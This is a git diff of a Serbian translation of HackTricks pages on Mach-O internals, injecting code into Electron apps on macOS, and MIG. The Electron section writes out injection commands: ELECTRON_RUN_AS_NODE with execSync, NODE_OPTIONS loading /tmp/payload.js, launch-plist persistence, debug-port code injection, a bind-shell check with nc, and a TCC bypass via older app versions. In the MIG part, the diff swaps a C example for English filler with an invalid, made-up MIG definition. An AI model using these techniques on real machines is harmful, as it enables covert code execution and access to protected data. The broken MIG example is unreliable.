<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Takođe je moguće dobiti **informacije o zaglavljima** sa **komandne linije** pomoću:
|
||||
```bash
|
||||
|
@ -209,18 +209,18 @@ Uobičajeni segmenti učitani ovom komandom:
|
|||
* **`__TEXT`**: Sadrži **izvršni** **kod** sa **dozvolama za čitanje** i **izvršavanje** (bez mogućnosti pisanja)**.** Uobičajeni delovi ovog segmenta:
|
||||
* `__text`: Kompajlirani binarni kod
|
||||
* `__const`: Konstantni podaci
|
||||
* `__cstring`: Konstante stringova
|
||||
* `__cstring`: String konstante
|
||||
* `__stubs` i `__stubs_helper`: Uključeni tokom procesa dinamičkog učitavanja biblioteka
|
||||
* **`__DATA`**: Sadrži podatke koji su **čitljivi** i **pisivi** (bez mogućnosti izvršavanja)**.**
|
||||
* `__data`: Globalne promenljive (koje su inicijalizovane)
|
||||
* `__bss`: Statičke promenljive (koje nisu inicijalizovane)
|
||||
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, itd): Informacije koje koristi Objective-C runtime
|
||||
* **`__LINKEDIT`**: Sadrži informacije za linkera (dyld) kao što su "ulazi tabela simbola, stringova i relokacija."
|
||||
* **`__LINKEDIT`**: Sadrži informacije za linkera (dyld) kao što su "ulazi simbola, stringova i tabela premeštanja."
|
||||
* **`__OBJC`**: Sadrži informacije koje koristi Objective-C runtime. Iako se ove informacije mogu naći i u segmentu \_\_DATA, unutar različitih \_\_objc\_\* sekcija.
|
||||
|
||||
### **`LC_MAIN`**
|
||||
|
||||
Sadrži ulaznu tačku u **entryoff atributu**. Prilikom učitavanja, **dyld** jednostavno **dodaje** ovu vrednost na (u memoriji) **bazu binarnog koda**, a zatim **prelazi** na ovu instrukciju kako bi započeo izvršavanje koda binarnog fajla.
|
||||
Sadrži tačku ulaska u **entryoff atributu**. Prilikom učitavanja, **dyld** jednostavno **dodaje** ovu vrednost na (u memoriji) **bazu binarnog koda**, zatim **skoči** na ovu instrukciju da započne izvršavanje koda binarnog fajla.
|
||||
|
||||
### **LC\_CODE\_SIGNATURE**
|
||||
|
||||
|
@ -229,11 +229,11 @@ Međutim, možete pronaći neke informacije o ovoj sekciji u [**ovom blog postu*
|
|||
|
||||
### **LC\_LOAD\_DYLINKER**
|
||||
|
||||
Sadrži **putanju do izvršne datoteke dinamičkog linkera** koji mapira deljene biblioteke u prostor adresa procesa. Vrednost je uvek postavljena na `/usr/lib/dyld`. Važno je napomenuti da se u macOS-u mapiranje dylib-a dešava u **korisničkom režimu**, a ne u režimu jezgra.
|
||||
Sadrži **putanju do izvršne datoteke dinamičkog linkera** koji mapira deljene biblioteke u adresni prostor procesa. Vrednost je uvek postavljena na `/usr/lib/dyld`. Važno je napomenuti da se u macOS-u mapiranje dylib-a dešava u **korisničkom režimu**, a ne u režimu jezgra.
|
||||
|
||||
### **`LC_LOAD_DYLIB`**
|
||||
|
||||
Ova komanda za učitavanje opisuje **zavisnost dinamičke biblioteke** koja **nalaže** učitavaču (dyld) da **učita i poveže navedenu biblioteku**. Postoji LC\_LOAD\_DYLIB komanda za učitavanje **za svaku biblioteku** koju Mach-O binarni fajl zahteva.
|
||||
Ova komanda za učitavanje opisuje zavisnost od **dinamičke** **biblioteke** koja **nalaže** učitavaču (dyld) da **učita i poveže navedenu biblioteku**. Postoji LC\_LOAD\_DYLIB komanda za učitavanje **za svaku biblioteku** koju Mach-O binarni fajl zahteva.
|
||||
|
||||
* Ova komanda za učitavanje je struktura tipa **`dylib_command`** (koja sadrži strukturu dylib, opisuje stvarnu zavisnu dinamičku biblioteku):
|
||||
```objectivec
|
||||
|
@ -273,7 +273,7 @@ Ofseti svih konstruktora se čuvaju u sekciji **\_\_mod\_init\_func** segmenta *
|
|||
|
||||
## **Mach-O Podaci**
|
||||
|
||||
U osnovi fajla se nalazi region podataka, koji se sastoji od nekoliko segmenata definisanih u regionu komandi učitavanja. **Različite sekcije podataka mogu biti smeštene unutar svakog segmenta**, pri čemu svaka sekcija **sadrži kod ili podatke** specifične za tip.
|
||||
U osnovi fajla leži region podataka, koji se sastoji od nekoliko segmenata definisanih u regionu komandi učitavanja. **Različite sekcije podataka mogu biti smeštene unutar svakog segmenta**, pri čemu svaka sekcija **sadrži kod ili podatke** specifične za tip.
|
||||
|
||||
{% hint style="success" %}
|
||||
Podaci su zapravo deo koji sadrži sve **informacije** koje se učitavaju pomoću komandi učitavanja **LC\_SEGMENTS\_64**
|
||||
|
@ -287,11 +287,11 @@ To uključuje:
|
|||
* **Tabela simbola**: Koja sadrži informacije o eksternim funkcijama koje koristi binarni fajl
|
||||
* Takođe može sadržati interne funkcije, imena promenljivih i još mnogo toga.
|
||||
|
||||
Da biste to proverili, možete koristiti alat [**Mach-O View**](https://sourceforge.net/projects/machoview/):
|
||||
Za proveru možete koristiti alat [**Mach-O View**](https://sourceforge.net/projects/machoview/):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ili sa komandne linije:
|
||||
Ili putem komandne linije:
|
||||
```bash
|
||||
size -m /bin/ls
|
||||
```
|
||||
|
@ -301,7 +301,7 @@ size -m /bin/ls
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -23,15 +23,15 @@ I node ima neke **parametre** i **env promenljive** koje se mogu koristiti da bi
|
|||
|
||||
Ove tehnike će biti razmatrane u nastavku, ali u poslednje vreme Electron je dodao nekoliko **sigurnosnih zastava kako bi ih sprečio**. To su [**Elektronski osigurači**](https://www.electronjs.org/docs/latest/tutorial/fuses) i ovo su oni koji se koriste da **spreče** Electron aplikacije u macOS-u da **učitavaju proizvoljan kod**:
|
||||
|
||||
* **`RunAsNode`**: Ako je onemogućeno, sprečava korišćenje env varijable **`ELECTRON_RUN_AS_NODE`** za ubacivanje koda.
|
||||
* **`EnableNodeCliInspectArguments`**: Ako je onemogućeno, parametri poput `--inspect`, `--inspect-brk` neće biti poštovani. Na taj način se sprečava ubacivanje koda.
|
||||
* **`RunAsNode`**: Ako je onemogućen, sprečava upotrebu env varijable **`ELECTRON_RUN_AS_NODE`** za ubacivanje koda.
|
||||
* **`EnableNodeCliInspectArguments`**: Ako je onemogućen, parametri poput `--inspect`, `--inspect-brk` neće biti poštovani. Na taj način se sprečava ubacivanje koda.
|
||||
* **`EnableEmbeddedAsarIntegrityValidation`**: Ako je omogućeno, učitana **`asar`** **datoteka** će biti **validirana** od strane macOS-a. Na ovaj način se **sprečava ubacivanje koda** modifikovanjem sadržaja ove datoteke.
|
||||
* **`OnlyLoadAppFromAsar`**: Ako je ovo omogućeno, umesto traženja za učitavanjem u sledećem redosledu: **`app.asar`**, **`app`** i na kraju **`default_app.asar`**. Proveravaće i koristiće samo app.asar, čime se osigurava da kada se **kombinuje** sa osiguračem **`embeddedAsarIntegrityValidation`** bude **nemoguće** učitati nevalidiran kod.
|
||||
* **`LoadBrowserProcessSpecificV8Snapshot`**: Ako je omogućeno, proces pregledača koristi datoteku nazvanu `browser_v8_context_snapshot.bin` za svoj V8 snimak.
|
||||
|
||||
Još jedan interesantan osigurač koji neće sprečiti ubacivanje koda je:
|
||||
|
||||
* **EnableCookieEncryption**: Ako je omogućeno, skladište kolačića na disku je enkriptovano korišćenjem kriptografskih ključeva nivoa OS-a.
|
||||
* **EnableCookieEncryption**: Ako je omogućeno, skladište kolačića na disku je enkriptovano korišćenjem kriptografskih ključeva na nivou OS-a.
|
||||
|
||||
### Provera Elektronskih osigurača
|
||||
|
||||
|
@ -49,16 +49,16 @@ EnableEmbeddedAsarIntegrityValidation is Enabled
|
|||
OnlyLoadAppFromAsar is Enabled
|
||||
LoadBrowserProcessSpecificV8Snapshot is Disabled
|
||||
```
|
||||
### Modifikacija Elektron osigurača
|
||||
### Modifikacija Elektron Fjuzova
|
||||
|
||||
Kako [**dokumentacija navodi**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), konfiguracija **Elektron osigurača** je podešena unutar **Elektron binarnog koda** koji negde sadrži string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
|
||||
Kako [**dokumentacija navodi**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), konfiguracija **Elektron Fjuzova** je podešena unutar **Elektron binarnog koda** koji negde sadrži string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
|
||||
|
||||
U macOS aplikacijama, ovo se obično nalazi u `aplikacija.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
|
||||
```bash
|
||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
Možete učitati ovaj fajl na [https://hexed.it/](https://hexed.it/) i pretražiti prethodni string. Nakon ovog stringa možete videti u ASCII formatu broj "0" ili "1" koji pokazuje da li je svaka osigurač isključen ili uključen. Samo modifikujte heksadecimalni kod (`0x30` je `0` i `0x31` je `1`) da **modifikujete vrednosti osigurača**.
|
||||
Možete učitati ovaj fajl na [https://hexed.it/](https://hexed.it/) i pretražiti prethodni string. Nakon ovog stringa možete videti u ASCII formatu broj "0" ili "1" koji pokazuje da li je svaka osigurač isključen ili uključen. Samo izmenite heksadecimalni kod (`0x30` je `0` i `0x31` je `1`) da **izmenite vrednosti osigurača**.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -66,13 +66,13 @@ Imajte na umu da ako pokušate **prepisati** **binarni fajl Electron Framework-a
|
|||
|
||||
## RCE dodavanje koda u Electron aplikacije
|
||||
|
||||
Mogu postojati **spoljni JS/HTML fajlovi** koje koristi Electron aplikacija, tako da napadač može ubaciti kod u ove fajlove čiji potpis neće biti proveren i izvršiti proizvoljan kod u kontekstu aplikacije.
|
||||
Može postojati **spoljni JS/HTML fajlovi** koje koristi Electron aplikacija, tako da napadač može ubaciti kod u ove fajlove čiji potpis neće biti proveren i izvršiti proizvoljan kod u kontekstu aplikacije.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Međutim, trenutno postoje 2 ograničenja:
|
||||
|
||||
* Potrebna je dozvola **`kTCCServiceSystemPolicyAppBundles`** da bi se modifikovala aplikacija, tako da po defaultu ovo više nije moguće.
|
||||
* Kompajlirani fajl **`asap`** obično ima osigurače **`embeddedAsarIntegrityValidation`** `i` **`onlyLoadAppFromAsar`** `omogućene`
|
||||
* Kompajlirani **`asap`** fajl obično ima osigurače **`embeddedAsarIntegrityValidation`** `i` **`onlyLoadAppFromAsar`** `omogućene`
|
||||
|
||||
Što ovaj put napada čini složenijim (ili nemogućim).
|
||||
{% endhint %}
|
||||
|
@ -89,7 +89,7 @@ npx asar pack app-decomp app-new.asar
|
|||
```
|
||||
## RCE sa `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
|
||||
|
||||
Prema [**dokumentaciji**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), ako je ova promenljiva okoline postavljena, pokrenuće proces kao običan Node.js proces.
|
||||
Prema [**dokumentaciji**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), ako je ova env promenljiva postavljena, pokrenuće proces kao normalan Node.js proces.
|
||||
```bash
|
||||
# Run this
|
||||
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
|
@ -102,7 +102,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
|||
Ako je fjuž **`RunAsNode`** onemogućen, promenljiva okruženja **`ELECTRON_RUN_AS_NODE`** će biti ignorisana, i ovo neće raditi.
|
||||
{% endhint %}
|
||||
|
||||
### Injekcija iz App Plist datoteke
|
||||
### Injekcija iz App Plist-a
|
||||
|
||||
Kao što je [**predloženo ovde**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), možete zloupotrebiti ovu promenljivu okruženja u plist datoteci kako biste održali postojanost:
|
||||
```xml
|
||||
|
@ -143,14 +143,14 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ako je osigurač **`EnableNodeOptionsEnvironmentVariable`** **onemogućen**, aplikacija će **ignorisati** env var **NODE\_OPTIONS** prilikom pokretanja, osim ako je postavljena env varijabla **`ELECTRON_RUN_AS_NODE`**, koja će takođe biti **ignorisana** ako je osigurač **`RunAsNode`** onemogućen.
|
||||
Ako je osigurač **`EnableNodeOptionsEnvironmentVariable`** **onemogućen**, aplikacija će **ignorisati** promenljivu okoline **NODE\_OPTIONS** prilikom pokretanja, osim ako promenljiva okoline **`ELECTRON_RUN_AS_NODE`** nije postavljena, što će takođe biti **ignorisano** ako je osigurač **`RunAsNode`** onemogućen.
|
||||
|
||||
Ako ne postavite **`ELECTRON_RUN_AS_NODE`**, dobićete **grešku**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||||
{% endhint %}
|
||||
|
||||
### Injekcija iz App Plist-a
|
||||
|
||||
Možete zloupotrebiti ovu env varijablu u plist datoteci da biste održali upornost dodavanjem ovih ključeva:
|
||||
Možete zloupotrebiti ovu promenljivu okoline u plist datoteci kako biste održali upornost dodavanjem ovih ključeva:
|
||||
```xml
|
||||
<dict>
|
||||
<key>EnvironmentVariables</key>
|
||||
|
@ -168,7 +168,7 @@ Možete zloupotrebiti ovu env varijablu u plist datoteci da biste održali uporn
|
|||
```
|
||||
## RCE sa inspekcijom
|
||||
|
||||
Prema [**ovom**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) izvoru, ako pokrenete Electron aplikaciju sa zastavicama poput **`--inspect`**, **`--inspect-brk`** i **`--remote-debugging-port`**, biće otvoren **debug port** na koji možete da se povežete (na primer iz Chrome-a na `chrome://inspect`) i bićete u mogućnosti da **ubacite kod u nju** ili čak pokrenete nove procese.\
|
||||
Prema [**ovom**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) izvoru, ako pokrenete Electron aplikaciju sa zastavicama poput **`--inspect`**, **`--inspect-brk`** i **`--remote-debugging-port`**, **otvoren će biti debug port** na koji možete da se povežete (na primer iz Chrome-a na `chrome://inspect`) i bićete u mogućnosti da **ubacite kod u nju** ili čak pokrenete nove procese.\
|
||||
Na primer:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -197,9 +197,9 @@ print(ws.recv()
|
|||
```
|
||||
U [**ovom blog postu**](https://hackerone.com/reports/1274695), ovaj debagovanje je zloupotrebljen da bi headless chrome **preuzeo proizvoljne datoteke na proizvoljne lokacije**.
|
||||
|
||||
### Injekcija iz App Plist datoteke
|
||||
### Injekcija iz App Plist-a
|
||||
|
||||
Mogli biste zloupotrebiti ovu env promenljivu u plist datoteci da biste održali upornost dodavanjem ovih ključeva:
|
||||
Mogli biste zloupotrebiti ovu env promenljivu u plist-u da biste održali upornost dodavanjem ovih ključeva:
|
||||
```xml
|
||||
<dict>
|
||||
<key>ProgramArguments</key>
|
||||
|
@ -213,7 +213,7 @@ Mogli biste zloupotrebiti ovu env promenljivu u plist datoteci da biste održali
|
|||
<true/>
|
||||
</dict>
|
||||
```
|
||||
## Bypass TCC korišćenjem starijih verzija
|
||||
## Bypass TCC koristeći starije verzije
|
||||
|
||||
{% hint style="success" %}
|
||||
TCC daemon sa macOS-a ne proverava izvršenu verziju aplikacije. Dakle, ako **ne možete ubaciti kod u Electron aplikaciju** pomoću bilo koje od prethodnih tehnika, možete preuzeti prethodnu verziju APLIKACIJE i ubaciti kod u nju jer će i dalje dobiti TCC privilegije (osim ako Trust Cache to sprečava).
|
||||
|
@ -221,8 +221,8 @@ TCC daemon sa macOS-a ne proverava izvršenu verziju aplikacije. Dakle, ako **ne
|
|||
|
||||
## Pokretanje ne-JS koda
|
||||
|
||||
Prethodne tehnike će vam omogućiti da pokrenete **JS kod unutar procesa elektronske aplikacije**. Međutim, zapamtite da **dečiji procesi pokreću isti sandbox profil** kao roditeljska aplikacija i **nasleđuju njihove TCC dozvole**.\
|
||||
Stoga, ako želite zloupotrebiti privilegije da pristupite kameri ili mikrofonu na primer, jednostavno možete **pokrenuti drugi binarni fajl iz procesa**.
|
||||
Prethodne tehnike će vam omogućiti da pokrenete **JS kod unutar procesa elektronske aplikacije**. Međutim, zapamtite da **dečiji procesi pokreću isti sandbox profil** kao i roditeljska aplikacija i **nasleđuju njihove TCC dozvole**.\
|
||||
Stoga, ako želite zloupotrebiti privilegije da pristupite kameri ili mikrofonu na primer, možete jednostavno **pokrenuti drugi binarni fajl iz procesa**.
|
||||
|
||||
## Automatsko ubacivanje
|
||||
|
||||
|
@ -276,7 +276,7 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,15 +6,15 @@
|
|||
|
||||
Drugi načini da podržite HackTricks:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
MIG je kreiran kako bi **simplifikovao proces kreiranja koda za Mach IPC**. On u osnovi **generiše potreban kod** za server i klijenta da komuniciraju sa datom definicijom. Čak i ako je generisani kod ružan, programer će samo trebati da ga uveze i njegov kod će biti mnogo jednostavniji nego pre.
|
||||
MIG je kreiran kako bi **simplifikovao proces kreiranja koda za Mach IPC**. U osnovi, **generiše potreban kod** za server i klijenta da komuniciraju sa datom definicijom. Čak i ako je generisani kod ružan, programer će samo trebati da ga uveze i njegov kod će biti mnogo jednostavniji nego pre.
|
||||
|
||||
### Primer
|
||||
|
||||
|
@ -37,7 +37,7 @@ n2 : uint32_t);
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Sada koristite mig da generišete server i klijentski kod koji će moći da komuniciraju međusobno kako bi pozvali funkciju Oduzmi:
|
||||
Sada koristite mig da generišete server i klijentski kod koji će moći da komuniciraju međusobno kako bi pozvali Subtract funkciju:
|
||||
```bash
|
||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||
```
|
||||
|
@ -66,35 +66,31 @@ myipc_server_routine,
|
|||
|
||||
{% tab title="myipcServer.h" %}
|
||||
|
||||
## macOS MIG (Mach Interface Generator)
|
||||
### macOS MIG (Mach Interface Generator)
|
||||
|
||||
MIG is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code to handle the communication between processes. MIG interfaces are defined in .defs files, which are then processed by MIG to generate the necessary code.
|
||||
MIG (Mach Interface Generator) is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code for message-based IPC. MIG is commonly used in macOS for system services and kernel extensions.
|
||||
|
||||
### Example:
|
||||
#### Example of a MIG definition file:
|
||||
|
||||
```c
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include "myipcServer.h"
|
||||
|
||||
kern_return_t myipc_server(mach_port_t server_port);
|
||||
|
||||
int main() {
|
||||
mach_port_t server_port;
|
||||
kern_return_t kr = bootstrap_check_in(bootstrap_port, "com.example.myipc", &server_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
myipc_server(server_port);
|
||||
|
||||
return 0;
|
||||
}
|
||||
routine myipc_sample_routine {
|
||||
mach_msg_header_t Head;
|
||||
mach_msg_body_t msgh_body;
|
||||
mach_msg_port_descriptor_t port;
|
||||
mach_msg_trailer_t trailer;
|
||||
} -> {
|
||||
mach_msg_header_t Head;
|
||||
mach_msg_body_t msgh_body;
|
||||
mach_msg_port_descriptor_t port;
|
||||
mach_msg_trailer_t trailer;
|
||||
};
|
||||
```
|
||||
|
||||
In the example above, `myipc_server` is a function generated by MIG that handles the IPC communication for the server. The server registers itself with the bootstrap server using `bootstrap_check_in` and then starts handling IPC requests.
|
||||
In the example above, `myipc_sample_routine` is a MIG routine that defines the structure of the message for inter-process communication.
|
||||
|
||||
MIG is a powerful tool for handling IPC in macOS, but it can also introduce security risks if not implemented correctly. It's important to carefully review and secure MIG interfaces to prevent privilege escalation and other security vulnerabilities.
|
||||
MIG simplifies the development of IPC mechanisms in macOS by automatically generating the necessary code for message passing between processes. This automation helps in reducing errors and streamlining the IPC implementation process.
|
||||
|
||||
By understanding how MIG works, security researchers can analyze and identify potential vulnerabilities in macOS IPC mechanisms and enhance the overall security posture of the system.
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
|
@ -109,9 +105,6 @@ struct routine_descriptor /* Array of routine descriptors */
|
|||
routine[1];
|
||||
} SERVERPREFmyipc_subsystem;
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Na osnovu prethodne strukture, funkcija **`myipc_server_routine`** će dobiti **ID poruke** i vratiti odgovarajuću funkciju koja treba da se pozove:
|
||||
```c
|
||||
mig_external mig_routine_t myipc_server_routine
|
||||
|
@ -129,14 +122,14 @@ return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
|||
```
|
||||
U ovom primeru smo definisali samo 1 funkciju u definicijama, ali da smo definisali više funkcija, bile bi unutar niza **`SERVERPREFmyipc_subsystem`** i prva bi bila dodeljena ID-u **500**, druga ID-u **501**...
|
||||
|
||||
Zapravo je moguće identifikovati ovaj odnos u strukturi **`subsystem_to_name_map_myipc`** iz **`myipcServer.h`**:
|
||||
Zapravo je moguće identifikovati ovu vezu u strukturi **`subsystem_to_name_map_myipc`** iz **`myipcServer.h`**:
|
||||
```c
|
||||
#ifndef subsystem_to_name_map_myipc
|
||||
#define subsystem_to_name_map_myipc \
|
||||
{ "Subtract", 500 }
|
||||
#endif
|
||||
```
|
||||
Konačno, još jedna važna funkcija koja će omogućiti rad servera će biti **`myipc_server`**, koja će zapravo **pozvati funkciju** povezanu sa primljenim ID-om:
|
||||
Konačno, još jedna važna funkcija koja će omogućiti rad servera biće **`myipc_server`**, koja će zapravo **pozvati funkciju** povezanu sa primljenim ID-om:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||
|
@ -208,17 +201,7 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_client.c" %}
|
||||
|
||||
### macOS MIG (Mach Interface Generator)
|
||||
|
||||
MIG (Mach Interface Generator) is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code for message-based IPC. By understanding and manipulating MIG interfaces, an attacker can abuse IPC mechanisms to escalate privileges or perform other malicious actions.
|
||||
|
||||
#### Translation:
|
||||
|
||||
### macOS MIG (Mach Interface Generator)
|
||||
|
||||
MIG (Mach Interface Generator) je alat koji se koristi za definisanje međuprocesne komunikacije (IPC) za macOS. Generiše kôd klijenta i servera za IPC zasnovan na porukama. Razumevanjem i manipulacijom MIG interfejsa, napadač može zloupotrebiti IPC mehanizme kako bi eskalirao privilegije ili izvršio druge zlonamerne radnje.
|
||||
{% tab title="myipc_client.c" %}
|
||||
```c
|
||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||
|
||||
|
@ -247,11 +230,11 @@ USERPREFSubtract(port, 40, 2);
|
|||
|
||||
Pošto mnogi binarni fajlovi sada koriste MIG za izlaganje mach portova, interesantno je znati kako **identifikovati da je MIG korišćen** i **funkcije koje MIG izvršava** sa svakim ID-jem poruke.
|
||||
|
||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) može parsirati MIG informacije iz Mach-O binarnog fajla, pokazujući ID poruke i identifikujući funkciju za izvršenje:
|
||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) može parsirati MIG informacije iz Mach-O binarnog fajla, pokazujući ID poruke i identifikujući funkciju za izvršavanje:
|
||||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
Ranije je pomenuto da će funkciju koja će se brinuti o **pozivanju odgovarajuće funkcije u zavisnosti od primljenog ID poruke** biti `myipc_server`. Međutim, obično nećete imati simbole binarnog koda (imenovanje funkcija), pa je zanimljivo **proveriti kako izgleda dekompilirano** jer će uvek biti vrlo slično (kod ove funkcije je nezavisan od izloženih funkcija):
|
||||
Ranije je pomenuto da će funkcija koja će se brinuti o **pozivanju odgovarajuće funkcije u zavisnosti od primljenog ID poruke** biti `myipc_server`. Međutim, obično nećete imati simbole binarnog koda (imenovanje funkcija), pa je zanimljivo **proveriti kako izgleda dekompilirano** jer će uvek biti vrlo slično (kod ove funkcije je nezavisan od izloženih funkcija):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server dekompilirano 1" %}
|
||||
|
@ -268,7 +251,7 @@ var_18 = arg1;
|
|||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||
rax = *(int32_t *)(var_10 + 0x14);
|
||||
// Poziv funkciji sign_extend_64 koja može pomoći u identifikaciji ove funkcije
|
||||
// Ovo čuva u rax pokazivač na poziv koji treba pozvati
|
||||
